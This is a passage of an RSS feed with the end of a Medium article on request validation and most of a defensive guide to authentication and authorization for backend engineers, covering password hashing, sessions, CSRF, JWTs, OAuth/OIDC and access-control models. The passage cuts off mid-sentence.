a client sends malformed JSON, Express may reject the request before your validation middleware runs.</p><p>Your application should distinguish malformed input from unexpected internal errors and return an appropriate response. Otherwise, a parsing failure may become a confusing 500.</p><h3>Use schemas as part of your API contract</h3><p>A schema describes the structure, types, and constraints your endpoint accepts. Keeping schemas close to the relevant routes makes the contract easier to understand and maintain.</p><p>They can also help with testing and API documentation, although documentation still needs to explain authentication, authorization, business rules, and response behavior.</p><h3>Conclusion</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AfjLcwG9lTpMY7_9tR9l5g.png" /><figcaption>Validation and Transformation<br>in Backend Development</figcaption></figure><p>Validation and transformation are fundamental parts of backend development because they control what data enters your application and what form that data takes before business logic uses it.</p><p>The basic idea is not complicated. Receive the request, parse it safely, transform values where necessary, validate the expected structure and constraints, and only then continue with the relevant operation.</p><p>But the details matter.</p><p>You need to validate the body, query parameters, path parameters, and relevant headers. You need to distinguish type, syntactic, semantic, and dependent validation. You need to understand when transformation should happen and why coercion can introduce unexpected behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U4tNMx6Nt7Z4gZF8JJjlRA.png" /></figure><p>You also need to keep validation separate from authorization, preserve database constraints, handle errors consistently, and test invalid requests as carefully as valid ones.</p><p>For Node.js and Express, a schema library such as Zod makes this process easier to organize. Reusable middleware keeps validation out of repetitive controller code, while the service and repository layers remain responsible for their own jobs.</p><p>The goal is not to add checks everywhere without a plan. It is to establish a clear boundary between untrusted input and the code that acts on it.</p><p><strong>Before your backend creates a record, processes a payment, or changes a user’s account, it should know exactly what data it has received and whether that data is acceptable.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0e80bf85b11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Authentication & Authorization for Backend Engineers: A Complete Guide]]></title>
            <link>https://medium.com/@anuragdotdev/authentication-authorization-for-backend-engineers-a-complete-guide-f8844e97bddf?source=rss-4f0627100668------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8844e97bddf</guid>
            <category><![CDATA[authentication]]></category>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[jwt-authentication]]></category>
            <dc:creator><![CDATA[Conveytoanurag]]></dc:creator>
            <pubDate>Fri, 11 Sep 2026 12:21:06 GMT</pubDate>
            <atom:updated>2026-09-11T12:21:06.301Z</atom:updated>
            <content:encoded><![CDATA[<p><em>From passwords and sessions to JWTs, OAuth, WebAuthn, and zero-trust systems understanding how modern backend systems know who you are and what you’re allowed to do.</em></p><h3>Introduction</h3><p>Let’s say you’re building an e-commerce API.</p><p>A user sends a request like:</p><pre>GET /api/orders<br>Authorization: Bearer eyJhbGciOi...</pre><p>Before your application returns anything, it has to answer two different questions.</p><p><strong>Who is making this request?</strong></p><p>And once that is known:</p><p><strong>Is this user allowed to access these orders?</strong></p><p>These questions are related, but they are not the same problem.</p><p>The first one is <strong>authentication</strong>.</p><p>The second one is <strong>authorization</strong>.</p><p>You can think about the entire system like this:</p><pre>Incoming Request<br>                           │<br>                           ▼<br>                  ┌─────────────────┐<br>                  │ Authentication  │<br>                  │  &quot;Who are you?&quot; │<br>                  └────────┬────────┘<br>                           │<br>                           ▼<br>                    User Identity<br>                           │<br>                           ▼<br>                  ┌─────────────────┐<br>                  │  Authorization  │<br>                  │ &quot;What can you  │<br>                  │     do?&quot;       │<br>                  └────────┬────────┘<br>                           │<br>                           ▼<br>                    Allow / Deny</pre><p>Authentication establishes an identity.</p><p>Authorization decides what that identity is allowed to do.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*khuJwUwP1LbWpvSids0SrA.png" /></figure><p>That distinction appears in almost every backend system: traditional web applications, mobile APIs, microservices, internal tools, third-party integrations, and distributed systems.</p><p>Most developers first encounter authentication through a login tutorial. They create a users table, compare a password, generate a token, and move on.</p><p>That is enough to make a demo work.</p><p>It is not enough to understand authentication.</p><p>In production, you eventually run into questions about password storage, session management, token theft, revocation, CSRF, OAuth, authorization policies, key rotation, account recovery, and distributed systems.</p><p>This article builds the mental model from the ground up.</p><h3>Part I: The Problem Authentication Is Trying to Solve</h3><h3>1. What Does It Mean to Authenticate Someone?</h3><p>Imagine a user enters:</p><pre>Email: alice@example.com<br>Password: ********</pre><p>The server verifies the credentials and determines:</p><pre>User ID: 123<br>Email: alice@example.com</pre><p>The important result isn’t the password.</p><p>It is the identity:</p><pre>User 123</pre><p>From this point onward, the backend can associate requests with that identity.</p><p>Authentication is therefore the process of establishing that a request belongs to a particular subject.</p><p>Authorization comes after that.</p><p>Suppose Alice now sends:</p><pre>DELETE /api/users/456</pre><p>The server already knows who Alice is.</p><p>But it still needs to determine whether Alice has permission to delete another user.</p><p>If she doesn’t, authentication has succeeded but authorization has failed.</p><p>The response is normally:</p><pre>403 Forbidden</pre><p>This is why the simplest mental model for backend engineers is:</p><pre>Authentication<br>      ↓<br>Who are you?<br>      ↓<br>Identity<br>      ↓<br>Authorization<br>      ↓<br>What can you do?<br>      ↓<br>Permission</pre><p>Identity comes first. Permissions follow.</p><h3>Part II: How We Got Here</h3><h3>2. From Trust to Passwords</h3><p>Modern authentication didn’t appear all at once.</p><p>It evolved as the systems being protected became larger and less personal.</p><p>In small communities, identity could be established through recognition. You knew the person, knew their reputation, or trusted an intermediary.</p><p>That model stopped working when communication moved between people who had never met.</p><p>One of the early solutions was the wax seal.</p><p>A unique seal attached to a document provided evidence that the document came from a particular person. The underlying idea was simple:</p><blockquote><em>Possession of something can represent identity.</em></blockquote><p>This is the same basic idea that later appears in smart cards, security keys, and hardware authenticators.</p><p>As communication networks developed, shared secrets became another approach.</p><p>Two parties could agree on a passphrase beforehand and use it to recognize each other later.</p><p>Now authentication could depend on:</p><pre>Something you have<br>+<br>Something you know</pre><p>Passwords eventually became the dominant implementation of the second category.</p><h3>3. The Password Problem</h3><p>When multi-user computers appeared, different users needed different credentials.</p><p>Passwords solved the basic identity problem, but they introduced another one:</p><p><strong>Where do you store the password?</strong></p><p>The obvious implementation is:</p><pre>username → password</pre><p>But if an attacker steals the database, every account is immediately compromised.</p><p>The solution was to store a derived value instead of the password itself.</p><p>Instead of:</p><pre>alice → password123</pre><p>the database stores something like:</p><pre>alice → $argon2id$v=19$m=...</pre><p>When Alice logs in, the server derives a value from the supplied password and compares it with the stored value.</p><p>The server doesn’t need to know the original password.</p><p>This gives us the first rule of password storage:</p><blockquote><strong><em>Never store passwords in plaintext.</em></strong></blockquote><p>But there is an important second part.</p><p>You shouldn’t simply run a normal hash function such as SHA-256 and call the problem solved.</p><h3>Part III: Password Storage</h3><h3>4. Why SHA-256 Is Not a Password Hash</h3><p>A common beginner implementation looks like:</p><pre>hashlib.sha256(password.encode()).hexdigest()</pre><p>The problem is that SHA-256 is designed to be fast.</p><p>For many applications, that’s exactly what you want.</p><p>For passwords, it is exactly what you don’t want.</p><p>If an attacker steals a database containing SHA-256 password hashes, they can test enormous numbers of password guesses very quickly using GPUs and specialized hardware.</p><p>Password storage needs the opposite properties.</p><p>It should deliberately be expensive to compute, memory-intensive enough to make large-scale parallel attacks harder, and configurable so the cost can increase as hardware becomes faster.</p><p>This is why password-specific key derivation functions exist.</p><p>The commonly used choices are <strong>Argon2id, scrypt, and bcrypt</strong>.</p><p>Argon2id is generally the preferred modern default. scrypt is another memory-hard option, while bcrypt remains widely supported and useful, particularly for existing systems.</p><p>The important distinction is:</p><pre>General-purpose hash<br>        ↓<br>Designed to be fast</pre><pre>Password KDF<br>        ↓<br>Designed to be expensive</pre><h3>5. Salt: Making Every Password Different</h3><p>Suppose Alice and Bob both use:</p><pre>password123</pre><p>Without a salt:</p><pre>Alice → hash(password123)<br>Bob   → hash(password123)</pre><p>The resulting hashes are identical.</p><p>A salt changes that.</p><pre>Alice → hash(password123 + random_salt_A)<br>Bob   → hash(password123 + random_salt_B)</pre><p>Now the hashes are different even though the passwords are identical.</p><p>A salt is simply a random value generated for each password.</p><p>It isn’t a secret.</p><p>It is stored alongside the password hash.</p><p>Its purpose is to prevent attackers from efficiently using precomputed tables and to ensure that identical passwords don’t produce identical stored values.</p><h3>6. Pepper: A Secret Outside the Database</h3><p>A pepper is different from a salt.</p><p>The salt is stored with the password hash.</p><p>The pepper is kept outside the database.</p><p>Conceptually:</p><pre>Password<br>   │<br>   ▼<br>HMAC(password, pepper)<br>   │<br>   ▼<br>Argon2id<br>   │<br>   ▼<br>Stored Hash</pre><p>The pepper might live in an environment variable, secret manager, or hardware security module.</p><p>If an attacker obtains only the database, they have the salts and hashes but not the application-level secret.</p><p>A pepper isn’t a replacement for a salt. They solve different problems.</p><h3>7. Work Factor</h3><p>Password hashing should also have a configurable cost.</p><p>The idea is straightforward:</p><pre>Cheap verification<br>       ↓<br>Cheap brute force</pre><pre>Expensive verification<br>       ↓<br>Expensive brute force</pre><p>Argon2id lets you tune parameters such as memory usage, execution time, and parallelism.</p><p>The correct values depend on your infrastructure.</p><p>Don’t blindly copy a number from a blog post. Benchmark the configuration on the hardware that actually runs your application and choose a cost that provides strong protection without making legitimate logins unnecessarily slow.</p><p>The larger lesson is that password security depends on the entire password-storage design, not simply whether the word “hash” appears somewhere in the code.</p><h3>Part IV: Sessions — Giving HTTP a Memory</h3><h3>8. Why Sessions Exist</h3><p>HTTP is stateless.</p><p>Consider two requests:</p><pre>GET /profile</pre><p>and later:</p><pre>GET /orders</pre><p>HTTP doesn’t inherently know that both requests belong to the same user.</p><p>Sessions provide that continuity.</p><p>The basic flow looks like this:</p><pre>1. User logs in<br>       │<br>       ▼<br>2. Server verifies credentials<br>       │<br>       ▼<br>3. Server creates random session ID<br>       │<br>       ▼<br>4. Session stored on server<br>       │<br>       ▼<br>5. Session ID sent to browser<br>       │<br>       ▼<br>6. Browser sends session ID<br>       │<br>       ▼<br>7. Server looks up session<br>       │<br>       ▼<br>8. User identity recovered</pre><p>A session might contain:</p><pre>{<br>  &quot;user_id&quot;: 123,<br>  &quot;role&quot;: &quot;admin&quot;,<br>  &quot;created_at&quot;: &quot;...&quot;,<br>  &quot;expires_at&quot;: &quot;...&quot;<br>}</pre><p>The browser doesn’t need to store all of this.</p><p>It can simply hold:</p><pre>session_id = random_value</pre><p>The server uses that identifier to retrieve the actual session.</p><h3>9. Session Storage at Scale</h3><p>Early web applications often stored sessions in local files.</p><p>That works when there is one server.</p><p>The problem appears when you add more servers:</p><pre>             Load Balancer<br>              /         \<br>             /           \<br>        Server A       Server B<br>           │              │<br>       sessions       sessions</pre><p>A user might authenticate against Server A and then have the next request routed to Server B.</p><p>If the session only exists on Server A, Server B cannot find it.</p><p>One solution is sticky sessions, where the load balancer keeps routing a user to the same server.</p><p>Another is session replication, where servers copy session state between themselves.</p><p>For larger systems, a centralized session store is often more practical:</p><pre>                  Load Balancer<br>                 /           \<br>                ▼             ▼<br>            Server A       Server B<br>                \             /<br>                 \           /<br>                    Redis</pre><p>Now every application server can access the same session state.</p><p>This introduces another dependency, but it gives the application a consistent view of authentication state.</p><h3>Part V: Cookies : The Browser’s Authentication Mechanism</h3><h3>10. How Cookies Fit Into Sessions</h3><p>A session and a cookie are not the same thing.</p><p>The session is the server-side state.</p><p>The cookie is how the browser commonly carries the session identifier.</p><p>The server might send:</p><pre>Set-Cookie: session_id=abc123</pre><p>The browser stores it.</p><p>Later it sends:</p><pre>Cookie: session_id=abc123</pre><p>The server then uses abc123 to retrieve the session.</p><p>The same concept can also be used to transport other authentication credentials, including tokens.</p><h3>11. HttpOnly, Secure, and SameSite</h3><p>Three cookie attributes are particularly important for authentication.</p><p>HttpOnly prevents normal JavaScript code from reading the cookie. This is useful because an XSS vulnerability then has a harder time directly extracting an authentication cookie.</p><p>Secure tells the browser to send the cookie only over HTTPS.</p><p>SameSite controls how cookies behave in cross-site requests. Strict provides the strongest restriction, while Lax is a common practical choice for many applications. None permits cross-site use but requires Secure and should only be used when cross-site cookies are actually needed.</p><p>A typical authentication cookie might therefore look like:</p><pre>Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax</pre><p>These flags don’t magically make authentication secure, but they remove several common attack paths.</p><h3>Part VI: CSRF</h3><h3>12. When Automatic Cookies Become a Problem</h3><p>Cookies are convenient because the browser automatically sends them.</p><p>That same behavior creates the conditions for <strong>Cross-Site Request Forgery</strong>, or CSRF.</p><p>Imagine you’re logged into:</p><pre>bank.example</pre><p>Your browser contains:</p><pre>session_id=abc123</pre><p>You then visit another website.</p><p>That website could attempt to make a request to the bank.</p><p>If the browser attaches the authentication cookie automatically, the bank might see:</p><pre>POST /transfer<br>Cookie: session_id=abc123</pre><p>From the server’s perspective, the request is authenticated.</p><p>But the user didn’t intentionally initiate it.</p><p>That is the basic CSRF problem.</p><h3>13. Defending Against CSRF</h3><p>One layer of protection is SameSite cookies, which restrict cross-site cookie transmission.</p><p>Another approach is a synchronizer token. The server generates a random value and expects the client to include it with state-changing requests.</p><p>A related technique is the double-submit cookie pattern, where the CSRF token is sent both as a cookie and in a request header or form field. The server compares the two values.</p><p>The architecture looks like:</p><pre>Cookie:<br>csrf=abc123</pre><pre>Request Header:<br>X-CSRF-Token: abc123</pre><pre>              │<br>              ▼<br>           Compare<br>              │<br>        ┌─────┴─────┐<br>        ▼           ▼<br>      Match       Mismatch<br>        │             │<br>      Allow          Reject</pre><p>The exact defense depends on how your application authenticates requests, but the key question is always the same:</p><blockquote><em>Can another website cause a browser to perform an authenticated state-changing action?</em></blockquote><h3>Part VII: Session Fixation</h3><h3>14. Why Session IDs Need to Change</h3><p>Consider an attacker who somehow gets a victim to use a session ID that the attacker already knows.</p><p>If the victim later logs in and the server keeps the same session ID, that identifier may now represent an authenticated session.</p><p>The attacker can potentially reuse it.</p><p>The safer flow is:</p><pre>Anonymous Session<br>       │<br>       ▼<br>     Login<br>       │<br>       ▼<br>Destroy old session<br>       │<br>       ▼<br>Create new session ID<br>       │<br>       ▼<br>Authenticated Session</pre><p>Regenerate the session identifier after successful login and other significant privilege changes.</p><p>This is a small implementation detail, but it closes an important class of session attacks.</p><h3>Part VIII: JWTs : Stateless Authentication</h3><h3>15. Why JWTs Became Popular</h3><p>Sessions work well, but they require server-side state.</p><p>At large scale, that state has operational consequences.</p><p>You may have millions of sessions spread across multiple servers and regions. Keeping that state synchronized introduces storage, replication, availability, and consistency concerns.</p><p>JWTs take a different approach.</p><p>Instead of asking a central session store for the user’s information on every request, the token itself carries claims about the authenticated subject.</p><p>This is what people mean when they describe JWT authentication as <strong>stateless</strong>.</p><h3>16. Anatomy of a JWT</h3><p>A JSON Web Token has three parts:</p><pre>header.payload.signature</pre><p>The header describes the token:</p><pre>{<br>  &quot;alg&quot;: &quot;RS256&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}</pre><p>The payload contains claims:</p><pre>{<br>  &quot;sub&quot;: &quot;123&quot;,<br>  &quot;iat&quot;: 1750000000,<br>  &quot;exp&quot;: 1750000900,<br>  &quot;aud&quot;: &quot;orders-api&quot;,<br>  &quot;iss&quot;: &quot;auth.example.com&quot;<br>}</pre><p>The signature protects the integrity of the header and payload.</p><p>Common claims include sub for the subject, iat for issued-at time, exp for expiration, aud for audience, iss for issuer, and jti for a unique token identifier.</p><p>Applications can also include custom claims such as roles, scopes, or tenant identifiers.</p><p>One important detail is often misunderstood:</p><blockquote><em>A JWT is encoded, not automatically encrypted.</em></blockquote><p>Anyone who has the token can decode its payload.</p><p>Therefore, sensitive secrets should not simply be placed inside a JWT because the token is signed.</p><h3>Part IX: How JWT Verification Works</h3><h3>17. A JWT Request</h3><p>A client might send:</p><pre>GET /api/orders<br>Authorization: Bearer &lt;JWT&gt;</pre><p>The backend then performs several checks.</p><pre>Request<br>   │<br>   ▼<br>Extract Token<br>   │<br>   ▼<br>Verify Signature<br>   │<br>   ▼<br>Validate Claims<br>   │<br>   ├── exp<br>   ├── iss<br>   ├── aud<br>   └── other constraints<br>   │<br>   ▼<br>Build Identity<br>   │<br>   ▼<br>Authorization<br>   │<br>   ▼<br>Application Logic</pre><p>Signature verification is only one part of the process.</p><p>A token can have a valid signature and still be unusable because it is expired, issued by the wrong identity provider, or intended for a different service.</p><p>That’s why claims such as exp, iss, and aud need to be validated.</p><h3>Part X: Access Tokens and Refresh Tokens</h3><h3>18. The Revocation Problem</h3><p>Sessions have a useful property.</p><p>If you delete the session:</p><pre>Delete Session<br>      ↓<br>Authenticated state disappears</pre><p>JWTs don’t naturally work this way.</p><p>If a token is valid for another thirty minutes, the server normally continues accepting it.</p><p>This is why access tokens are commonly short-lived.</p><p>A typical architecture looks like:</p><pre>Access Token<br>    │<br>    └── Short lifetime<br>        usually minutes<br>Refresh Token<br>    │<br>    └── Longer lifetime<br>        days or weeks</pre><p>The access token is used for normal API requests.</p><p>When it expires, the refresh token is used to obtain a new access token.</p><h3>19. Refresh Token Rotation</h3><p>Refresh tokens should generally be rotated rather than reused indefinitely.</p><p>Imagine the client starts with:</p><pre>Refresh Token A</pre><p>It exchanges that token and receives:</p><pre>Access Token B<br>Refresh Token C</pre><p>Token A is now invalid.</p><p>If someone later attempts to use Token A again, the server has evidence that a previously used refresh token may have been stolen.</p><p>That can trigger revocation of the token family and force the user to authenticate again.</p><p>The flow becomes:</p><pre>Refresh Token A<br>       │<br>       ▼<br>   Token Exchange<br>       │<br>       ▼<br>Access Token B + Refresh Token C<br>       │<br>       ▼<br>Invalidate A</pre><p>This gives the system a way to detect certain forms of token theft.</p><h3>Part XI: JWT Signing Algorithms</h3><h3>20. HS256 vs RS256</h3><p>JWTs can use symmetric or asymmetric cryptography.</p><p>With HS256, the same secret is used to sign and verify:</p><pre>        Shared Secret<br>        /          \<br>       ▼            ▼<br>    Signer        Verifier</pre><p>This is simple, but every service that needs to verify the token also needs access to the shared secret.</p><p>With RS256 or ES256, the signing and verification keys are separate:</p><pre>Private Key<br>    │<br>    ▼<br>  Sign</pre><pre>Public Key<br>    │<br>    ▼<br> Verify</pre><p>Only the private-key holder can create valid signatures.</p><p>That makes asymmetric signing particularly useful when many services need to verify tokens.</p><p>The architecture can look like:</p><pre>            Authentication Service<br>                       │<br>                  Private Key<br>                       │<br>                     Sign<br>                       │<br>                       ▼<br>                      JWT<br>                       │<br>          ┌────────────┼────────────┐<br>          ▼            ▼            ▼<br>       Service A    Service B    Service C<br>          │            │            │<br>          └────── Public Key ───────┘</pre><p>Public keys can be distributed through a JWKS endpoint without exposing the private signing key.</p><h3>Part XII: JWT Security</h3><h3>21. Algorithm Confusion</h3><p>JWT implementations have historically suffered from vulnerabilities caused by trusting the algorithm specified by the token itself.</p><p>An attacker may try to manipulate the header:</p><pre>{<br>  &quot;alg&quot;: &quot;none&quot;<br>}</pre><p>or exploit confusion between symmetric and asymmetric algorithms.</p><p>The important defense is simple:</p><blockquote><em>Explicitly configure the algorithms your application accepts.</em></blockquote><p>Don’t allow an incoming token to decide how your verifier should interpret its own signature.</p><h3>22. Token Storage</h3><p>Where tokens are stored also matters.</p><p>Putting long-lived authentication tokens in browser-accessible storage such as localStorage means that JavaScript running because of an XSS vulnerability may be able to read them.</p><p>For browser applications, HttpOnly cookies can reduce direct JavaScript access to authentication credentials, although cookie-based authentication introduces CSRF considerations.</p><p>There is no single storage mechanism that solves every browser security problem.</p><p>The correct design depends on the application architecture, including whether you use a backend-for-frontend, a traditional server-rendered application, or a browser-based API client.</p><h3>Part XIII: OAuth 2.0</h3><h3>23. The Delegation Problem</h3><p>Imagine a travel application wants to read your Google data.</p><p>Without delegated authorization, the application might ask for your Google password.</p><p>That gives the application far more access than it actually needs.</p><p>OAuth was designed to solve this problem.</p><p>Instead of sharing your password:</p><pre>User<br> │<br> │ grants limited access<br> ▼<br>Authorization Server<br> │<br> ▼<br>Access Token<br> │<br> ▼<br>Client<br> │<br> ▼<br>Resource Server</pre><p>The application receives a token representing limited delegated access.</p><p>The user can grant specific scopes, and that access can be revoked without changing the user’s main password.</p><h3>Part XIV: Understanding OAuth Roles</h3><h3>24. The Four Participants</h3><p>OAuth involves four conceptual roles.</p><p>The <strong>Resource Owner</strong> is the user who owns the protected data.</p><p>The <strong>Client</strong> is the application requesting access.</p><p>The <strong>Authorization Server</strong> authenticates the user and issues tokens.</p><p>The <strong>Resource Server</strong> is the API that actually contains the protected data.</p><p>For example:</p><pre>User<br> │<br> ▼<br>Travel Application<br> │<br> │ request access<br> ▼<br>Authorization Server<br> │<br> │ access token<br> ▼<br>Travel Application<br> │<br> │ API request<br> ▼<br>Resource Server</pre><p>Keeping these responsibilities separate is one of the fundamental ideas behind OAuth.</p><h3>Part XV: Authorization Code + PKCE</h3><h3>25. The Modern OAuth Flow</h3><p>For public clients such as mobile applications and browser-based applications, Authorization Code with PKCE is an important flow.</p><p>The process looks like:</p><pre>User<br>                 │<br>                 ▼<br>              Client<br>                 │<br>        Authorization Request<br>                 │<br>                 ▼<br>        Authorization Server<br>                 │<br>              Login<br>                 │<br>                 ▼<br>            User Consent<br>                 │<br>                 ▼<br>          Authorization Code<br>                 │<br>                 ▼<br>              Client<br>                 │<br>        Code + Code Verifier<br>                 │<br>                 ▼<br>        Authorization Server<br>                 │<br>                 ▼<br>          Access Token<br>          Refresh Token</pre><p>Before beginning the flow, the client creates a random code_verifier.</p><p>It then derives a code_challenge from that value.</p><p>The challenge is sent during authorization.</p><p>Later, when exchanging the authorization code for tokens, the client sends the original verifier.</p><p>The authorization server calculates the challenge again and compares the values.</p><p>Conceptually:</p><pre>code_verifier<br>      │<br>      ▼<br>   SHA-256<br>      │<br>      ▼<br>code_challenge</pre><p>If an attacker intercepts the authorization code, they still don’t possess the original verifier.</p><p>That is the security property PKCE adds.</p><h3>Part XVI: OAuth Is Not Authentication</h3><h3>26. Where OpenID Connect Comes In</h3><p>This is one of the most common sources of confusion.</p><p>OAuth primarily answers:</p><pre>What can this client access?</pre><p>It does not by itself define a standard way to establish:</p><pre>Who is this user?</pre><p>OpenID Connect, or OIDC, adds that identity layer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dZQNUSEjsKWOEDme7JKnew.png" /></figure><h3>Part XVII: OpenID Connect</h3><h3>27. Adding Identity to OAuth</h3><p>An OIDC flow can return an access token and an ID token.</p><p>The ID token is generally a JWT containing identity claims such as:</p><pre>{<br>  &quot;iss&quot;: &quot;https://issuer.example.com&quot;,<br>  &quot;sub&quot;: &quot;123456&quot;,<br>  &quot;aud&quot;: &quot;my-client&quot;,<br>  &quot;exp&quot;: 1750000900,<br>  &quot;iat&quot;: 1750000000<br>}</pre><p>The two tokens serve different purposes.</p><pre>ID Token<br>   ↓<br>Information about the authenticated user</pre><pre>Access Token<br>   ↓<br>Authorization to access a resource</pre><p>An ID token is not simply another API access token.</p><h3>28. Validating an ID Token</h3><p>When receiving an ID token, the application should verify its signature and validate the important claims.</p><p>The issuer identifies who created the token.</p><p>The audience identifies which client the token was intended for.</p><p>The expiration determines whether the token is still valid.</p><p>The issued-at value provides additional temporal information, and a nonce can be used to bind the response to the authentication request.</p><p>The signing keys can be discovered through the issuer’s OpenID configuration and JWKS endpoint.</p><p>Conceptually:</p><pre>Issuer<br>  │<br>  ├── OpenID Configuration<br>  │          │<br>  │          └── JWKS URI<br>  │<br>  ▼<br>Public Keys<br>  │<br>  ▼<br>Verify ID Token<br>  │<br>  ▼<br>Validate Claims<br>  │<br>  ▼<br>Authenticated Identity</pre><p>Simply decoding a JWT is not authentication.</p><p>The signature and claims have to be validated.</p><h3>Part XVIII: API Keys</h3><h3>29. Authentication Without a Human</h3><p>Not every request comes from a person.</p><p>Consider:</p><pre>Your Backend<br>     │<br>     │ API Key<br>     ▼<br>Third-Party API</pre><p>There is no login page. There may be no browser.</p><p>The system simply needs to identify the calling application. This is machine-to-machine authentication. An API key might be sent as:</p><pre>X-API-Key: sk_...</pre><p>or through an authorization header.</p><p>The server can associate the key with an application and then check its permissions, quotas, expiration, and status.</p><p>Because properly generated API keys are high-entropy secrets, a fast cryptographic hash such as SHA-256 can be appropriate for storing lookup values. This differs from passwords, which are generally low-entropy human secrets and therefore require a slow password KDF.</p><p>API keys should also support rotation and revocation.</p><p>A key that can never be replaced becomes a long-term liability.</p><h3>Part XIX: Authorization</h3><h3>30. Authentication Only Tells You Who the User Is</h3><p>Suppose authentication produces:</p><pre>{<br>  &quot;user_id&quot;: 123,<br>  &quot;role&quot;: &quot;editor&quot;<br>}</pre><p>The backend still needs to answer:</p><pre>Can user 123 edit this resource?</pre><p>This is where authorization models come in.</p><p>The simplest is RBAC.</p><h3>Part XX: RBAC</h3><h3>31. Role-Based Access Control</h3><p>Role-Based Access Control maps roles to permissions.</p><p>For example:</p><pre>User<br>  ↓<br>read<br>write</pre><pre>Moderator<br>  ↓<br>read<br>write</pre><pre>Admin<br>  ↓<br>read<br>write<br>delete</pre><p>The application authenticates the user, determines their role, and checks whether that role contains the required permission.</p><p>This works extremely well for simple systems.</p><p>The problem appears when permissions depend on more than the user’s role.</p><h3>Part XXI: Role Explosion</h3><h3>32. When RBAC Becomes Difficult</h3><p>Imagine you have editors.</p><p>Then the requirements change:</p><blockquote><em>Editors can edit documents only when the document belongs to their department and isn’t archived.</em></blockquote><p>You could create roles like:</p><pre>editor_finance<br>editor_legal<br>editor_sales<br>editor_hr</pre><p>Then more requirements arrive.</p><p>Soon you have:</p><pre>editor_finance_business_hours<br>editor_finance_after_hours<br>editor_legal_business_hours<br>...</pre><p>The number of roles grows rapidly.</p><p>This is known as <strong>role explosion</strong>.</p><p>At that point, attributes become more useful.</p><h3>Part XXII: ABAC</h3><h3>33. Attribute-Based Access Control</h3><p>ABAC evaluates properties of the subject, resource, action, and environment.</p><p>For example:</p><pre>Subject:<br>    role = editor<br>    department = finance</pre><pre>Resource:<br>    department = finance<br>    archived = false</pre><pre>Action:<br>    write</pre><p>A policy might be:</p><pre>ALLOW IF</pre><pre>subject.role == &quot;editor&quot;<br>AND<br>subject.department == resource.department<br>AND<br>resource.archived == false</pre><p>Now the permission depends on context rather than creating a separate role for every possible combination.</p><p>ABAC is more expressive than simple RBAC, but it also makes authorization harder to audit because access is determined by policy evaluation rather than a straightforward list of roles.</p><h3>Part XXIII: ReBAC</h3><h3>34. When Relationships Determine Access</h3><p>Some applications are naturally modeled as relationships.</p><p>Consider a document-sharing system:</p><pre>Alice<br> │<br> ├── owns ─────► Document A<br> │<br> └── member of ► Engineering<br>                    │<br>                    └── access to Document B</pre><p>The important question isn’t simply:</p><pre>What role does Alice have?</pre><p>It is:</p><pre>What relationship does Alice have with this resource?</pre><p>This is <strong>Relationship-Based Access Control</strong>, or ReBAC.</p><p>It is particularly useful for collaboration systems, organizational hierarchies, shared resources, and applications where permissions form a graph.</p><p>In large systems, RBAC, ABAC, and ReBAC are often combined rather than treated as mutually exclusive choices.</p><h3>Part XXIV: Security Hardening</h3><h3>35. Authentication Doesn’t End at the Login Endpoint</h3><p>A secure password verification function doesn’t protect an application from every authentication attack.</p><p>The surrounding system matters just as much.</p><p>Authentication endpoints should be rate-limited to make brute-force and credential-stuffing attacks more difficult.</p><p>Repeated failures can trigger progressive delays, additional verification, or CAPTCHA challenges.</p><p>Account lockout can also be useful, but it needs careful design because an attacker shouldn’t be able to lock out another user’s account simply by repeatedly attempting to log in as them.</p><h3>36. TLS Everywhere</h3><p>Credentials and authentication tokens should never travel over plaintext HTTP.</p><p>Use HTTPS throughout the authentication path.</p><p>Without TLS:</p><pre>Client<br>  │<br>  │ password / token<br>  ▼<br>Network<br>  │<br>  ▼<br>Attacker</pre><p>With TLS:</p><pre>Client<br>  │<br>  │ encrypted connection<br>  ▼<br>HTTPS<br>  │<br>  ▼<br>Server</pre><p>TLS protects the credentials while they are in transit.</p><p>It doesn’t protect a compromised endpoint, stolen credentials, or a vulnerable application, but it is a foundational requirement.</p><h3>Part XXV: Security Headers</h3><h3>37. Protecting the Browser</h3><p>Authentication also depends on browser security.</p><p>HSTS tells browsers to prefer HTTPS.</p><p>X-Frame-Options can help prevent clickjacking.</p><p>X-Content-Type-Options reduces MIME-sniffing behavior.</p><p>Content Security Policy can reduce the impact of certain XSS attacks.</p><p>These controls don’t replace authentication, but they reduce the number of ways an attacker can abuse an authenticated browser session.</p><h3>Part XXVI: Error Messages and Timing</h3><h3>38. Don’t Help Attackers Enumerate Users</h3><p>Suppose your login endpoint returns:</p><pre>User does not exist</pre><p>when an account isn’t registered, but:</p><pre>Incorrect password</pre><p>when the account exists.</p><p>An attacker can now determine which email addresses have accounts.</p><p>A better response is something generic:</p><pre>Authentication failed</pre><p>The same principle applies to timing.</p><p>If nonexistent users return immediately but existing users trigger an expensive password hash comparison, the response time itself can reveal whether an account exists.</p><p>One mitigation is to perform a dummy password-hash computation for nonexistent users so both paths perform similar work.</p><p>For sensitive comparisons, use constant-time comparison functions provided by the cryptographic library.</p><h3>Part XXVII: Account Recovery</h3><h3>39. Password Reset Is Part of Authentication</h3><p>A common mistake is to secure login while treating password recovery as an afterthought.</p><p>Imagine the login system uses strong password hashing and MFA.</p><p>But the password reset endpoint accepts:</p><pre>email<br>+<br>new password</pre><p>without sufficiently proving ownership of the account.</p><p>The attacker doesn’t need to defeat the login system.</p><p>They can simply use the recovery mechanism.</p><p>A secure recovery flow generally looks like:</p><pre>Request Password Reset<br>        │<br>        ▼<br>Generate Random Token<br>        │<br>        ▼<br>Short Expiration<br>        │<br>        ▼<br>User Proves Possession<br>        │<br>        ▼<br>Reset Password<br>        │<br>        ▼<br>Invalidate Relevant Sessions</pre><p>Recovery flows should receive the same security attention as login.</p><h3>Part XXVIII: Common Mistakes</h3><h3>40. The Problems That Keep Appearing</h3><p>One of the most common mistakes is storing passwords in plaintext or using a fast general-purpose hash instead of a password KDF.</p><p>Another is using weak 